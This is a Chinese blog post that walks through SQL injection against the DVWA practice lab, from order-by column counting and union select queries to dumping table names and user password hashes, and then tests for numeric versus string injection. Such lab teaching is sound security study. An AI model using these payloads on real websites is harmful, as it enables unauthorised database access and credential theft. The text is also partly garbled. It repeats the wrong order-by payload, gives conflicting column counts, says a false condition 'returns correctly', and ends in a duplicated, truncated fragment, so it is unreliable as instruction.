SQL注入详解

由于对各个漏洞的理解程度还不是很深刻,为此,选用最常用的几个漏洞出来写几篇博客复盘一下,目的不是为了简单的了解漏洞的运行过程,而是更加深入的理解其中的原理,由此写下这几篇博客,供自己复习及大家参考。

1、SQL漏洞简介

注入漏洞,是指攻击者可以通过HTTP请求将payload注入某种代码中,导致payload被当作代码执行的漏洞。例如SQL注入漏洞,攻击者将SQL注入payload插入SQL语句中,并且被SQL引擎解析成SQL代码,影响原SQL语句的逻辑,形成注入。同样文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似,也可以看作代码注入漏洞。

SQL注入
SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句中,导致了SQL注入的产生。黑客通过SQL注入可直接窃取数据库信息,造成信息泄露。

JDBC拼接不当造成SQL注入
JDBC有两种方法执行SQL语句,分别是PrepareStatement和Statement。两个方法的区别在于前者会对SQL语句进行预编译,而后者方法在每次执行时都需要编译,会增大系统开销。理论上前者的效率和安全性会比后者好,但是不意味着前者就绝对安全,不会产生SQL注入。

2、SQL注入靶场

我这里使用的是DVWN,当然还有很多其他靶场,以后说。

3、SQL注入打靶

首先我们先看一下low等级的网站,输入1查看可以得知是get请求(看源码有一个id=1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Su600PkI-1652087762811)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220508083957524.png)]

然后我们输入框输入,order by 可以利用来查看该表有几列,测得是3列。

1' order by 1#

sqlite注入查询 sql注入2021_SQL

因为输入下列语句时发生了报错,说明找不到第三列。

1' order by 1#

sqlite注入查询 sql注入2021_sqlite注入查询_02

我们可以打开源码看一下后台的php是如何写的就能理解上面的sql注入语句为什么要这样写了

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

我们把上述语句代入到id则:

$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ order by 1#';”;

所以可以理解为什么是这样写了,接着下一步,我们需要在有回显的地方显示数据库内的数据,为此,我们需要用到联合查询union select。

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。

输入

1' union select database(),user();#
  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.

sqlite注入查询 sql注入2021_安全_03

由此图我们可以得知

  • 当前网站使用数据库为 dvwa .
  • 当前执行查询用户名为 root@localhost .

同理我们再输入

1' union select version(),@@version_compile_os;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z5Kfdp4p-1652087762814)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220508085530811.png)]

  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。

通过上图返回信息,我们又成功获取到:

  • 当前数据库版本为 : 5.7.26
  • 当前操作系统为 : Win64

接下来我们来获取dvwa数据库的表名,information_schema是mysql自带的一张表,这张数据库负责保存数据库的所有信息如数据库名、数据库的表、表栏的数据类型和访问权限等。

该数据库拥有一个名为tables的表,该表包含两个字段table_name和table_schema,分别记录的DBMS中存储的表名和表名所在的数据库。

我们输入

1' union select table_name,table schema from information_schema.tables where table_schema='dvwa'#
 
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#

这里我报了一个错误,暂时还未是什么原因先把报错原因留下

sqlite注入查询 sql注入2021_安全_04

由于已知一个用户users,所以这里查询一下用户和密码,猜测是user和password

1' union select user,password from users#

sqlite注入查询 sql注入2021_sqlite注入查询_05

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。
直此,同学们应该已经对 Sql 注入有了一个大概得了解,也清楚了 Sql 注入的强大。

如何判断是否存在注入点

单引号判断法(最经典)

有报错就是存在sql注入

如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入

判断sql注入的类型

sql注入有两种类型

  • 数字型
  • 字符型
    数字型判断:
    当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=‘1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’='2 页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and ‘1’='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。
表名> where id = ‘x’ and ‘1’=‘1’

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = ‘x’ and ‘1’=‘2’

语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。